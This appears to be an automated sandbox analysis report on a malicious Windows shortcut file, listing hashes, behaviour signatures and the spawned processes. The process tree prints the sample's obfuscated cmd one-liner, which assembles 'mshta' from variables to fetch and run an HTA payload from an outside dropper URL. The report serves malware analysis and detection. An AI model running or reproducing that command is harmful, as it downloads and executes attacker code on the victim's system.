Analysis
- max time kernel
148s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:28
Static task
static1
Behavioral task
behavioral1
Sample
DOC-7J5M2M.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-7J5M2M.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-7J5M2M.lnk
- Size 1KB
- Sample260803-qqxcrazdkh
- SHA256 6fe84ab8a6a52d260f67f798d4f511cbd56eac8ab6d0f4597c4eea9265976f92
- MD5 42394e0874c460173e7da25402135290
- SHA1 53f32922f75f54a4418ff8cea451dd474a52a8a4
- SHA512 ace321c36d67d0f47e438af84f6e72acfbd0c98edd243ec263dffcbbe651cccc690babdc1bbc66106331ee45fd7a03b4f429abdd95400e31a0ff2ecd02030871
- TLSH T1DD3197002FF90A18F3F39E33A8BB5710C5BBB8568E21CA1E0140464E1032A14E17AFAB
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4116 cmd.exe 700 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4116 wrote to memory of 700 4116 cmd.exe 90 PID 700 wrote to memory of 5388 700 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-7J5M2M.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4116 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set gOwR=msh&&set RNHtl=ta&&start "" !gOwR!!RNHtl! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:700 -
C:\Windows\System32\mshta.exemshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F157943⤵PID:5388
-
-